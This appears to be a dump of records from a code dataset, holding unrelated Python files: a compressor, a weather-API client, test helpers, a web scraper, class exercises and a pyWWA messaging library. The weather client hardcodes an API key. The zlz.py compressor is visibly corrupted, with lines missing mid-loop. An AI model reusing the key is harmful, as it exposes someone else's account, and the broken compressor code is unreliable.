replace_database_in_url(url, database_name):\n \"\"\"\n Substitute the database part of url for database_name.\n\n Example: replace_database_in_url('foo/db1', 'db2') returns 'foo/db2'\n This will not work for unix domain connections.\n \"\"\"\n i = url.rfind('/')\n return f'{url[:i]}/{database_name}'\n\n\ndef drop_database(db_url, database):\n \"\"\"Drop database; connect with db_url.\n\n Used only for test purposes to cleanup after creating a test database.\n \"\"\"\n if db_url.startswith('postgresql') or db_url.startswith('mysql'):\n with sqlalchemy_engine(db_url) as engine:\n preparer = IdentifierPreparer(engine.dialect)\n database = preparer.quote(database)\n stmt = f'DROP DATABASE IF EXISTS {database}'\n with engine.connect().execution_options(isolation_level='AUTOCOMMIT') as conn:\n conn.execute(stmt)\n else:\n url = make_url(db_url)\n os.remove(url.database)\n","sub_path":"test/unit/data/model/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"192681161","text":"import turtle \r\nwn = turtle.Screen() \r\nwn.bgcolor(\"black\")\r\nalex = turtle.Turtle() \r\nalex.color(\"yellow\")\r\nalex.speed(0)\r\n\r\ndef square():\r\n i=1\r\n for i in range(4):\r\n alex.forward(100) \r\n alex.left(90) \r\n i=1+1\r\n return;\r\n\r\ndef art():\r\n i=1\r\n for i in range(36):\r\n \r\n alex.left(10)\r\n square()\r\n i=1+1\r\n return;\r\n \r\nart()\r\nwn.exitonclick()\r\n\r\n","sub_path":"python_udacity/2_tut/1_box_in_circle.py","file_name":"1_box_in_circle.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"375970136","text":"#\n# THIS IS A MODIFIED VERSION\n# it prepends the data with size bytes\n#\n\nimport numpy as np\nhelp=''\nminsize=4\ndef size(n,num=True,j=0):\n if num==True:\n b=n&127\n if n>=128:\n b|=128\n n>>=7\n else:\n b=n&63\n if n>=64:\n b|=64\n n>>=6\n b|=j\n s=[b]\n while n>=128:\n s+=[(n&127)|128]\n n>>=7\n if n>0:\n s+=[n]\n if len(s)>3:\n print(\"Warning: Block size is too large for some Z80 decompressors.\")\n return np.array(s,dtype=np.uint8)\ndef parse(cmd):\n if len(cmd)==1:\n print(help)\n return\n\n if len(cmd)<3:\n out=cmd[1]+\".zcmp\"\n else:\n out=cmd[2]\n\n if len(cmd)<4:\n lbl = 'data'\n else:\n lbl = cmd[3]\n\n infile=cmd[1]\n if infile[-4:-1].lower()==\".8x\":\n print(\"I'm lazy, so just assuming this is a TI Variable\")\n s=np.fromfile(infile,dtype=np.uint8)[74:-2]\n else:\n s=np.fromfile(infile,dtype=np.uint8)\n n=len(s)\n print(\"%d bytes in\" %(n))\n if n==0:\n np.tofile(out,s)\n return s\n if n<=minsize:\n s=np.append(np.array([n],dtype=np.uint8),s)\n s.tofile(out)\n return s\n head=minsize\n tail=minsize\n t=np.array([],dtype=np.uint8)\n base=0\n cnt=128\n cc=10\n while tail<=n-minsize:\n head=tail\n srch=0\n match=[0,0,minsize-1]\n while srch=match[2]:\n match=[u,v,k]\n srch+=1\n if match[2]>=minsize:\n u=match[0]\n v=match[1]\n k=match[2]\n m=s[base:tail]\n if len(m)>0:\n t=np.append(t,size(len(m),False))\n t=np.append(t,m)\n cc+=218+21*len(m)\n if len(m)>=64:\n cc+=111\n cc+=285+21*k\n if k>=64:\n cc+=111\n if tail-v+k>=64:\n cc+=115\n t=np.append(t,np.array(size(k,False,128),dtype=np.uint8))\n t=np.append(t,np.array(size(tail-v+k),dtype=np.uint8))\n tail+=k\n base=tail\n if tail>=cnt:\n cnt+=128\n else:\n tail+=1\n if base>4]+hx[i&15])\n k+=1\n f.write('\\n'+lbl+'_end:')\n f.close()\n else:\n t.tofile(out)\n return t\n","sub_path":"mapeditor/zlz.py","file_name":"zlz.py","file_ext":"py","file_size_in_byte":3344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"497229213","text":"#!/usr/bin/env python\n#* Imports\nimport pycook as pc\n\n#* Functions\ndef pip_cook_installed_p():\n res = pc.elisp.shell_command_to_string(\n \"pip show pycook || echo 'n'\").strip()\n return res != \"n\"\n\n#* Recipes\ndef pip_reinstall(recipe):\n res = []\n if pip_cook_installed_p():\n res.append(\"sudo -H pip uninstall -y pycook\")\n res.append(\"sudo -H pip install .\")\n return res\n\ndef publish(recipe):\n return [\"rm -rf dist/\",\n \"python3 setup.py sdist\",\n \"twine upload dist/*\"]\n\ndef clean(recipe):\n return [\"rm -rf dist\",\n \"rm -rf pycook.egg-info\"]\n\n#* Script\nif __name__ == '__main__':\n pc.main()\n","sub_path":"Cookbook.py","file_name":"Cookbook.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"41007640","text":"import requests\r\nimport json\r\ni = 0\r\nunit = 'c'\r\nforecast_data=[]\r\nhistory_list=[]\r\nhelp_info=['h', 'help', '帮助','history','历史记录','退出','exit','预报',\r\n 'forecast','c','f']\r\n\r\ndef get_weather (location,unit):\r\n\r\n test = requests.get('https://api.seniverse.com/v3/weather/daily.json', params={\r\n 'key': '6wigdcbodjnntfog',\r\n 'location': location,\r\n 'language': 'zh-Hans',\r\n 'unit': unit\r\n }, timeout=20)\r\n return test.json()\r\n\r\n\r\ndef print_response(weather,order):\r\n if weather['status_code'] == 'AP010010':\r\n print(\"城市名称错误,请检查后重新输入\\n\")\r\n elif weather['status_code'] == 'AP010002':\r\n print(\"You are not allowed to access this API\\n\")\r\n elif weather['status_code'] == 'AP010006':\r\n print(\"免费用户不允许查询 %s 的天气\" % order, '\\n')\r\n return 0\r\n\r\ndef format_weather(result,i ):\r\n daily = result['results'][0]['daily'][i]\r\n date = daily['date']\r\n day_weather = daily['text_day']\r\n night_weather = daily['text_night']\r\n tem_high = daily['high']\r\n tem_low = daily['low']\r\n wind_direc = daily['wind_direction']\r\n wind_scale = daily['wind_scale']\r\n weather_info =f'{date}, \\n{order}日间:{day_weather},夜间:{night_weather}.\\n\\\r\n最高气温{tem_high}度,最低气温{tem_low}度\\n{wind_direc}风{wind_scale}级.\\''\r\n return weather_info\r\n\r\ndef format_forecast(result):\r\n forecast = result['results'][0]['daily']\r\n update_time = result['results'][0]['last_update'][:-6].replace('T', ' ')\r\n for day in forecast:\r\n date = day['date']\r\n day_weather = day['text_day']\r\n night_weather = day['text_night']\r\n tem_high = day['high']\r\n tem_low = day['low']\r\n wind_direc = day['wind_direction']\r\n wind_scale = day['wind_scale']\r\n weather_info1 = f'{date}, \\n{order}日间:{day_weather},夜间:{night_weather}.\\\r\n 最高气温{tem_high}度,最低气温{tem_low}度\\n{wind_direc}风{wind_scale}级.'\r\n forecast_data.append(weather_info1)\r\n return (forecast_data,update_time)\r\n\r\n\r\n\r\nwhile True:\r\n\r\n order= input(\"请输入需要查询的城市名称或指令:\") .strip()\r\n if order in help_info[:]:\r\n print(\"您输入的是指令:\",order)\r\n command = order.lower()\r\n if command in ['h', 'help', '帮助'] :\r\n print('''\r\n 输入城市名,查询该城市天气\r\n 输入帮助,获取帮助文档\r\n 输入历史记录,获取查询历史\r\n 输入c,切换为摄氏度模式\r\n 输入f,切换为华氏度模式\r\n 输入forecast或预报,获取三日天气预报\r\n 输入exit或退出,退出程序''')\r\n elif command in ['c', 'f']:\r\n unit=command\r\n print(\"已切换温度表达方式\")\r\n continue\r\n elif command in [ 'history' ,'历史记录']:\r\n print( \"您的查询记录是:\",history_list)\r\n continue\r\n elif command in ['exit', '退出']:\r\n print('退出查询')\r\n break\r\n elif command in['预报', 'forecast']:\r\n print(\"%s 未来三天的天气预报是:\"% city ,'\\n')\r\n for days in output_3days:\r\n print(days)\r\n print (\"最后更新时间:\",last_update)\r\n continue\r\n\r\n else:\r\n print(\"您输入的是城市:\",order)\r\n city = order\r\n result= get_weather(city , 'c')\r\n if 'status' in result:\r\n print_response(result, city)\r\n else:\r\n # print(result)\r\n #print_response(result)\r\n output_today= format_weather(result, i)\r\n output_3days ,last_update= format_forecast(result)\r\n history_list.append(city)\r\n print (output_today)\r\n continue","sub_path":"Chap2/learnrequest.py","file_name":"learnrequest.py","file_ext":"py","file_size_in_byte":3880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"201648825","text":"import math\n\nclass Circle(object):\n\n def __init__(self, radius):\n self._radius = radius\n self._diameter = radius * 2\n\n def __repr__(self):\n return 'Circle(' + repr(self._radius) + ')'\n\n def __str__(self):\n return 'Circle(' + str(self._radius) + ')'\n\n def __add__(self, other):\n r1, r2 = self.radius, other.radius\n total = r1 + r2\n return Circle(total)\n\n def __eq__(self, other):\n r1, r2 = self.radius, other.radius\n if r1 == r2:\n return True\n else:\n return False\n\n def __gt__(self, other):\n r1, r2 = self.radius, other.radius\n if r1 > r2:\n return True\n else:\n return False\n\n def __lt__(self, other):\n r1, r2 = self.radius, other.radius\n if r1 < r2:\n return True\n else:\n return False\n\n @property\n def radius(self):\n return self._radius\n\n @property\n def diameter(self):\n return self._diameter\n\n @diameter.setter\n def diameter(self, value):\n self._diameter = value\n self._radius = value/2\n\n @property\n def area(self):\n return 2 * math.pi * self._radius\n\n @classmethod\n def from_diameter(cls, value):\n return cls(value/2)\n\n\ndef main():\n\n c = Circle(10)\n\n print(c.radius)\n print(c.diameter)\n\n c.diameter = 50\n\n print(c.diameter)\n print(c.radius)\n\n c = Circle(2)\n print(c.area)\n\n c = Circle.from_diameter(8)\n\n print(c.diameter)\n print(c.radius)\n\n print(repr(c))\n print(str(c))\n\n d = eval(repr(c))\n\n print(d)\n\n c1 = Circle(4)\n c2 = Circle(2)\n\n print(c1)\n print(c2)\n\n c3 = c1+c2\n print(c3._radius)\n\n print(c1 == c2)\n\n print(c1>c2)\n print(c12:\n input_size = int(sys.argv[1])\n dim = int(sys.argv[2])\n\n\na = [rand.sample(range(startRange,endRange),dim) for i in range(input_size)]\n#a = [[rand.random() for j in range(3)] for i in range(110)]\n#print(a)\n#a = sorted(a,key=itemgetter(0))\nos.chdir(\"Inputs/\")\nfileName = \"input_{}d_{}p.dat\".format(dim,input_size)\nwith open(fileName,'w') as f:\n f.write(\"{} {}\\n\".format(input_size,dim))\n for x in a:\n lineStr =\"\\t\".join(str(y) for y in x)\n lineStr+=\"\\n\"\n f.write(lineStr)\n\n\n\n \n#arr =[15,13,5,12,48,49,47,2,15,47,19,37,49,1,41]\n#arr = [25,79,48,8,85,73,27,95,84,17,8,49,93,39,99,64,67,67,17,39,4]\n#arr =[14,68,4,62,31,25,89,46,10,13,84,13]\n#arr = [33,9,38,1,19,7,43,36,29,20,23,18,10,37,14,44,48,16,43,43,9,37]\n#arr = [44,40,23,28,22,9,20,12,33,40,0]\n#arr = [34,7,5,12,32,48,42,9,10,23,26]\n#arr = [49, 33, 45, 3, 40, 11, 40, 46, 17, 41]\n\n#print(sorted(arr))\n#print(median(arr))\n","sub_path":"inputGen_smallInt.py","file_name":"inputGen_smallInt.py","file_ext":"py","file_size_in_byte":1472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"82758674","text":"from glob import glob\nimport numpy as np\n\nfrom data_preparation import DataPreparation, HogConfig\nfrom classifier import Classifier\n\n\ndef main():\n data_prep = DataPreparation.default()\n classifier = Classifier.default()\n test_files = glob('training_data/vehicles/*/*.png')\n np.random.shuffle(np.array(test_files))\n prepared = data_prep.prepare_images(test_files[0:1000])\n results = classifier.predict(prepared)\n print(\"Results\", results)\n print(\"Error\", (len(results[results == 0]) / len(results)), \"%\")\n\n\nif __name__ == '__main__':\n main()","sub_path":"classifier_test.py","file_name":"classifier_test.py","file_ext":"py","file_size_in_byte":567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"75284762","text":"import degrees as dg\n\ndg.load_data(\"large\")\ndg.names\ndg.people\ndg.movies\n\n#n = dg.neighbors_for_person('102')\n\nsource= '102'\ntarget = '1597'\npath = dg.shortest_path(source, target)\nif path is None:\n print(\"Not connected.\")\nelse:\n print(path)\n degrees = len(path)\n print(f\"{degrees} degrees of separation.\")\n path = [(None, source)] + path\n for i in range(degrees):\n person1 = dg.people[path[i][1]][\"name\"]\n person2 = dg.people[path[i + 1][1]][\"name\"]\n movie = dg.movies[path[i + 1][0]][\"title\"]\n print(f\"{i + 1}: {person1} and {person2} starred in {movie}\")\n","sub_path":"degrees/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"16862209","text":"import json\nimport mock\nimport unittest\nimport os\nimport requests\nimport sys\nimport errno\nfrom pyroute2 import iproute, NetlinkError\nfrom mock import patch\nfrom mock import Mock\n\nfrom cni.test.common.netns_mock import *\nfrom cni.common import veth\nfrom cni.common import interface\n\nclass CniVethPairTest(unittest.TestCase):\n def setUp(self):\n NetnsMock.reset()\n self.mock_cni = Mock()\n self.mock_cni.container_ifname = \"eth0\"\n self.mock_cni.container_uuid = \"default_uuid\"\n\n def tearDown(self):\n pass\n\n @patch.object(veth.CniVEthPair, \"delete_link\")\n @patch(\"cni.common.interface.CniNamespace\", new=NetnsMock)\n def test_delete_interface(self, mock_delete):\n v = veth.CniVEthPair(self.mock_cni, \"aa:bb:cc:dd:ee:ff\")\n v.delete_interface()\n mock_delete.assert_called_once_with()\n\n @patch(\"os.getpid\", new=NetnsMock.getpid)\n @patch(\"cni.common.veth.CniNamespace\", new=NetnsMock)\n @patch(\"cni.common.veth.IPRoute\", new=IPRouteMock)\n def test_create_interface(self):\n self.mock_cni.container_uuid = \"12345\"\n self.mock_cni.container_ifname = \"new_container_iface\"\n v = veth.CniVEthPair(self.mock_cni, \"aa:bb:cc:dd:ee:ff\")\n v.create_interface()\n cont_iface = NetnsMock.get(\"new_container_iface\", CONTAINER_NS_PID)\n host_iface = NetnsMock.get(\"tap12345\", HOST_NS_PID)\n self.assertEquals(CONTAINER_NS_PID, cont_iface[\"ns\"])\n self.assertEquals(HOST_NS_PID, host_iface[\"ns\"])\n self.assertEquals(\"aa:bb:cc:dd:ee:ff\", cont_iface[\"mac\"])\n\n @patch.object(interface.Interface, 'configure_interface')\n @patch(\"os.getpid\", new=NetnsMock.getpid)\n @patch(\"cni.common.veth.CniNamespace\", new=NetnsMock)\n @patch(\"cni.common.veth.IPRoute\", new=IPRouteMock)\n def test_configure_interfcae(self, mock_configure):\n self.mock_cni.container_uuid = \"789\"\n v = veth.CniVEthPair(self.mock_cni, \"aa:bb:cc:dd:ee:ff\")\n NetnsMock.add(\"tap789\", HOST_NS_PID)\n v.configure_interface(\"10.10.10.2\", 8, \"10.0.0.1\")\n mock_configure.assert_called_once_with(\"10.10.10.2\", 8, \"10.0.0.1\")\n self.assertEquals(\"up\", NetnsMock.get(\"tap789\", HOST_NS_PID)[\"state\"])\n\n","sub_path":"src/container/cni/cni/test/common/test_veth.py","file_name":"test_veth.py","file_ext":"py","file_size_in_byte":2217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"634031513","text":"from app import create_app\nimport os\nfrom app.models import pyPositions, fePositions\nfrom flask.ext.script import Manager, Shell\napp = create_app('default')\n\nmanager = Manager(app)\ndef make_shell_context():\n\treturn dict(app =app, pyPoaitions = pyPoaitions, fePositions = fePositions)\nmanager.add_command('shell', Shell(make_context = make_shell_context))\n\n@manager.command\ndef profile(length = 25, profile_dir = None):\n\tfrom werkzeug.contrib.profiler import ProfilerMiddleware\n\tapp.wsgi_app = ProfilerMiddleware(app.wsgi_app, registritions = [length],\n\t\tprofile_dir = profile_dir)\n\tapp.run()\n\nif __name__ == '__main__':\n\tmanager.run()","sub_path":"app/server/manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"448999764","text":"from urllib.parse import urljoin\r\n\r\nfrom ..core import *\r\nfrom ..vparsers import *\r\nfrom ..utils import *\r\n\r\n\r\nclass RoomsParsers(ValueParser):\r\n int_parser = IntParser()\r\n\r\n def parse(self, text):\r\n return self.int_parser.parse(text.split(\" \")[0])\r\n \r\n\r\nclass NumberParser(ValueParser):\r\n \r\n def parse(self, text):\r\n return text.split(\" \")[-1]\r\n\r\n\r\nclass PanormaPradnikParser(ConditionalWebpageParser):\r\n url = \"https://www.nokturndeweloper.pl/oferta,{page},20\"\r\n method = \"GET\"\r\n params = {\r\n \"pfi\": None, \"pti\": None, \"rf\": None, \"rt\": None,\r\n \"afi\": None, \"ati\": None,\r\n \"inwestycje_select\": \"13\", \"mdm\": \"0\", \"sort\": \"1\"\r\n }\r\n schema = [\r\n DataUnit(label=\"Numer mieszkania\", parser=NumberParser(DOMTextExtractor()), id=\"number\"),\r\n DataUnit(label=\"Pokoje\", parser=RoomsParsers(DOMTextExtractor()), id=\"rooms\"),\r\n DataUnit(label=\"Metraż\", parser=AreaParser(DOMTextExtractor()), id=\"area\"),\r\n DataUnit(label=\"Piętro\", parser=FloorParser(DOMTextExtractor()), id=\"floor\"),\r\n DataUnit(label=\"Budynek\", parser=DOMTextExtractor(), id=\"building\"),\r\n DataUnit(label=\"Cena brutto\", parser=PriceParser(DOMTextExtractor()), id=\"price\"),\r\n DataUnit(label=\"Status\", parser=StatusParser(DOMTextExtractor()), id=\"status\"),\r\n DataUnit(label=\"PDF\", parser=LinkParser(DOMElementExtractor(\"a\")), id=\"plan\"),\r\n DataUnit(label=\"Link\", parser=NoneParser(), id=\"none\"),\r\n ]\r\n \r\n @attributeerror_wrapper(return_value=[])\r\n def find_records(sefl, soup):\r\n return soup.find(\"section\", {\"id\": \"flats\"})\\\r\n .find(\"div\", {\"class\": \"flats-wrapper\"}).find(\"table\")\\\r\n .find(\"tbody\").find_all(\"tr\")\r\n \r\n def split_record(self, record):\r\n return record.find_all(\"td\")\r\n \r\n @attributeerror_wrapper(return_value=True)\r\n def is_last_page(self, soup):\r\n last_link = soup.find(\"ul\", {\"class\": \"paginations\"}).find_all(\"li\")[-1]\r\n return last_link.find(\"a\") is None\r\n\r\n def get_url(self):\r\n url = super().get_url()\r\n self._page = getattr(self, \"_page\", 0) + 1\r\n return url.format(page=self._page)\r\n\r\n def modify_record(self, record, soup=None):\r\n record[\"fid\"] = self.create_fid(record)\r\n record[\"plan\"] = urljoin(self.url, record[\"plan\"])\r\n return record\r\n \r\n @tryexcept_wrapper((KeyError,), return_value=None)\r\n def create_fid(self, record):\r\n fid_form = \"{building}/{floor}/{number}\"\r\n return fid_form.format(**record)\r\n","sub_path":"parsers/nokturn/panoramapradnik.py","file_name":"panoramapradnik.py","file_ext":"py","file_size_in_byte":2585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"638682484","text":"#fruits = ['사과','배','감','귤']\n\n#for fruit in fruits:\n # print(fruit);\n\nfruits = ['사과','배','배','감','수박','귤','딸기','사과','배','수박']\n# count = 0\n\n# for fruit in fruits:\n# if fruit=='사과':\n# count += 1\n# print(count)\n#ctrl + / > 영역 모두 주석\n\ndef count_fruit(fruit_name):\n count = 0\n for fruit in fruits:\n if fruit == fruit_name:\n count +=1\n return count\n# print(count_fruit(\"귤\"))\n\npeople = [{'name': 'bob', 'age': 20}, \n {'name': 'carry', 'age': 38},\n {'name': 'john', 'age': 7}]\n\ndef get_age(person_name):\n age = None\n for person in people:\n if person[\"name\"] == person_name:\n age = person[\"age\"]\n # age = person.get(\"age\",0) //age 값을 불러오고 없는 경우 디폴트로 0을 채워넣는다.\n if age is None:\n return \"해당 이름의 나이가 없습니다.\"\n return age\nprint(get_age(\"carry\"))\nprint(get_age(\"sunjin\"))\n\n","sub_path":"3week/fruit.py","file_name":"fruit.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"99611582","text":"import random\nfrom player import Player\n\n\nclass Game:\n\n def __init__(self):\n self.p1 = Player('Elias')\n self.p2 = Player('Computer')\n\n def exe(self):\n players = [self.p1, self.p2]\n player = None\n while self.p1.health > 0 and self.p2.health > 0:\n player = random.choice(players)\n player.moves()\n print(self.p1.name, 'HP left', self.p1.health)\n print(self.p2.name, 'HP left', self.p2.health, '\\n')\n if self.p1.health > self.p2.health:\n print('Player', self.p1.name, 'has won')\n else:\n print('Player', self.p2.name, 'has won')\n\n","sub_path":"Hit-Damage_Game/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"362138187","text":"import logging\nimport time\n\ndef run_calcs(message_queue):\n\n i = 0\n logger = logging.getLogger('main.optalg')\n qh = logging.handlers.QueueHandler(message_queue)\n logger.addHandler(qh)\n logger.setLevel(logging.INFO)\n logger.info('process launched')\n\n\n while i < 5:\n i += 1\n time.sleep(1)\n print(i)\n logger.info('online: {}'.format(i))\n\n logger.info('done')","sub_path":"std logging/queue 1/subpkg/process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"267930196","text":"class EfficiencyMeasurement():\n # input_voltage = None\n # input_current = None\n # output_voltage = None\n # output_current = None\n # input_power = None\n # output_power = None\n # loss_power = None\n # efficiency = None\n\n def __init__(self, input_voltage: float, input_current: float,\n output_voltage: float, output_current: float):\n self.input_voltage = input_voltage\n self.input_current = input_current\n self.output_voltage = output_voltage\n self.output_current = output_current\n self.input_power = calc_power(voltage = input_voltage, current = input_current)\n self.output_power = calc_power(voltage = output_voltage, current = output_current)\n self.loss_power = calc_loss_power(input_power=self.input_power, ouput_power=self.output_power)\n\nclass TsetPoint():\n setup = None\n measurement = None #EfficiencyMeasurement()\n\nclass TestSet_Efficiency():\n def __init__(self, s: dict):\n self.source_bias = s['source_bias']\n self.dut = s['powertrain']\n self.load = s['load']","sub_path":"pymeasure/virtual/power_test_setup.py","file_name":"power_test_setup.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"130393128","text":"\"\"\"Support lib for the parser scripts found in this directory\"\"\"\nfrom __future__ import print_function\nimport json\nimport os\nimport inspect\nimport logging\nimport pwd\nimport datetime\nimport re\nfrom io import StringIO\nimport socket\nimport sys\nimport traceback\nfrom email.mime.text import MIMEText\nfrom syslog import LOG_LOCAL2\n\n# 3rd party\nimport psycopg2\n\n# twisted\nfrom twisted.python import log\nfrom twisted.python import syslog\nfrom twisted.python import failure\nfrom twisted.words.xish.xmlstream import STREAM_END_EVENT\nfrom twisted.words.protocols.jabber import client as jclient\nfrom twisted.words.protocols.jabber import xmlstream, jid\nfrom twisted.internet.task import LoopingCall\nfrom twisted.internet import reactor\nfrom twisted.words.xish import domish, xpath\nfrom twisted.mail import smtp\nfrom twisted.enterprise import adbapi\nimport pyiem\nfrom pyiem.util import LOG\n\n# http://bugs.python.org/issue7980\ndatetime.datetime.strptime(\"2013\", \"%Y\")\nMYREGEX = u\"[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1F\\uD800-\\uDFFF\\uFFFE\\uFFFF]\"\nILLEGAL_XML_CHARS_RE = re.compile(MYREGEX)\n\nSETTINGS = {}\nEMAIL_TIMESTAMPS = []\n# Careful modifying this, be sure to test from LDM account\nCONFIG = json.load(\n open(os.path.join(os.path.dirname(__file__), \"../settings.json\"))\n)\n\n\ndef setup_syslog():\n \"\"\"Setup how we want syslogging to work\"\"\"\n # https://stackoverflow.com/questions/13699283\n frame = inspect.stack()[-1]\n module = inspect.getmodule(frame[0])\n filename = os.path.basename(module.__file__)\n syslog.startLogging(prefix=\"pyWWA/%s\" % (filename,), facility=LOG_LOCAL2)\n # pyIEM does logging via python stdlib logging, so we need to patch those\n # messages into twisted's logger.\n LOG.addHandler(logging.StreamHandler(stream=log.logfile))\n # Allow for more verbosity when we are running this manually.\n LOG.setLevel(logging.DEBUG if sys.stdout.isatty() else logging.INFO)\n\n\ndef get_database(dbname, cp_max=5, module_name=\"pyiem.twistedpg\"):\n \"\"\"Get a twisted database connection\n\n Args:\n dbname (str): The string name of the database to connect to\n cp_max (int): The maximum number of connections to make to the database\n module_name (str): The python module to use for the ConnectionPool\n \"\"\"\n host = \"iemdb-%s.local\" % (dbname,)\n return adbapi.ConnectionPool(\n module_name,\n database=dbname,\n cp_reconnect=True,\n cp_max=cp_max,\n host=host,\n user=CONFIG.get(\"databaserw\").get(\"user\"),\n gssencmode=\"disable\",\n )\n\n\ndef load_settings():\n \"\"\"Load settings immediately, so we don't have to worry about the settings\n not being loaded for subsequent usage\"\"\"\n\n dbconn = psycopg2.connect(\n database=CONFIG.get(\"databasero\").get(\"openfire\"),\n host=CONFIG.get(\"databasero\").get(\"host\"),\n password=CONFIG.get(\"databasero\").get(\"password\"),\n user=CONFIG.get(\"databasero\").get(\"user\"),\n )\n cursor = dbconn.cursor()\n cursor.execute(\"\"\"SELECT propname, propvalue from properties\"\"\")\n for row in cursor:\n SETTINGS[row[0]] = row[1]\n log.msg(\n (\"common.load_settings loaded %s settings from database\")\n % (len(SETTINGS),)\n )\n cursor.close()\n dbconn.close()\n\n\ndef should_email():\n \"\"\"Prevent email bombs\n\n Use the setting `pywwa_email_limit` to threshold the number of emails\n permitted within the past hour\n\n @return boolean if we should email or not\n \"\"\"\n utcnow = datetime.datetime.utcnow()\n EMAIL_TIMESTAMPS.insert(0, utcnow)\n delta = EMAIL_TIMESTAMPS[0] - EMAIL_TIMESTAMPS[-1]\n email_limit = int(SETTINGS.get(\"pywwa_email_limit\", 10))\n if len(EMAIL_TIMESTAMPS) < email_limit:\n return True\n while len(EMAIL_TIMESTAMPS) > email_limit:\n EMAIL_TIMESTAMPS.pop()\n\n return delta > datetime.timedelta(hours=1)\n\n\ndef email_error(exp, message, trimstr=100):\n \"\"\"\n Helper function to generate error emails when necessary and hopefully\n not flood!\n @param exp A string or perhaps a twisted python failure object\n @param message A string of more information to pass along in the email\n @return boolean If an email was sent or not...\n \"\"\"\n # Always log a message about our fun\n cstr = StringIO()\n if isinstance(exp, failure.Failure):\n exp.printTraceback(file=cstr)\n log.err(exp)\n elif isinstance(exp, Exception):\n traceback.print_exc(file=cstr)\n log.err(exp)\n else:\n log.msg(exp)\n cstr.seek(0)\n if isinstance(message, str):\n log.msg(message[:trimstr])\n else:\n log.msg(message)\n\n # Logic to prevent email bombs\n if not should_email():\n log.msg(\n (\"Email threshold of %s exceeded, so no email sent!\")\n % (SETTINGS.get(\"pywwa_email_limit\", 10))\n )\n return False\n\n txt = \"\"\"\nSystem : %s@%s [CWD: %s]\npyiem.version : %s\nSystem UTC date : %s\nprocess id : %s\nsystem load : %s\nException :\n%s\n%s\n\nMessage:\n%s\"\"\" % (\n pwd.getpwuid(os.getuid())[0],\n socket.gethostname(),\n os.getcwd(),\n pyiem.__version__,\n datetime.datetime.utcnow(),\n os.getpid(),\n \" \".join([\"%.2f\" % (_,) for _ in os.getloadavg()]),\n cstr.read(),\n exp,\n message,\n )\n # prevent any noaaport text from making ugly emails\n msg = MIMEText(txt.replace(\"\\r\\r\\n\", \"\\n\"), \"plain\", \"utf-8\")\n # Send the email already!\n msg[\"subject\"] = (\"[pyWWA] %s Traceback -- %s\") % (\n sys.argv[0].split(\"/\")[-1],\n socket.gethostname(),\n )\n msg[\"From\"] = SETTINGS.get(\"pywwa_errors_from\", \"ldm@localhost\")\n msg[\"To\"] = SETTINGS.get(\"pywwa_errors_to\", \"ldm@localhost\")\n df = smtp.sendmail(\n SETTINGS.get(\"pywwa_smtp\", \"smtp\"), msg[\"From\"], msg[\"To\"], msg\n )\n df.addErrback(log.err)\n return True\n\n\ndef make_jabber_client(resource_prefix):\n \"\"\" Generate a jabber client, please \"\"\"\n\n myjid = jid.JID(\n \"%s@%s/%s_%s\"\n % (\n SETTINGS.get(\"pywwa_jabber_username\", \"nwsbot_ingest\"),\n SETTINGS.get(\"pywwa_jabber_domain\", \"nwschat.weather.gov\"),\n resource_prefix,\n datetime.datetime.utcnow().strftime(\"%Y%m%d%H%M%S\"),\n )\n )\n factory = jclient.XMPPClientFactory(\n myjid, SETTINGS.get(\"pywwa_jabber_password\", \"secret\")\n )\n\n jabber = JabberClient(myjid)\n\n factory.addBootstrap(\"//event/stream/authd\", jabber.authd)\n factory.addBootstrap(\"//event/client/basicauth/invaliduser\", debug)\n factory.addBootstrap(\"//event/client/basicauth/authfailed\", debug)\n factory.addBootstrap(\"//event/stream/error\", debug)\n factory.addBootstrap(xmlstream.STREAM_END_EVENT, jabber.disconnect)\n\n reactor.connectTCP(\n SETTINGS.get(\"pywwa_jabber_host\", \"localhost\"), # @UndefinedVariable\n 5222,\n factory,\n )\n\n return jabber\n\n\ndef message_processor(stanza):\n \"\"\" Process a message stanza \"\"\"\n body = xpath.queryForString(\"/message/body\", stanza)\n log.msg(\"Message from %s Body: %s\" % (stanza[\"from\"], body))\n if body is None:\n return\n if body.lower().strip() == \"shutdown\":\n log.msg(\"I got shutdown message, shutting down...\")\n reactor.callWhenRunning(reactor.stop) # @UndefinedVariable\n\n\ndef raw_data_in(data):\n \"\"\"\n Debug method\n @param data string of what was received from the server\n \"\"\"\n if isinstance(data, bytes):\n data = data.decode(\"utf-8\", errors=\"ignore\")\n log.msg(\"RECV %s\" % (data,))\n\n\ndef debug(elem):\n \"\"\"\n Debug method\n @param elem twisted.works.xish\n 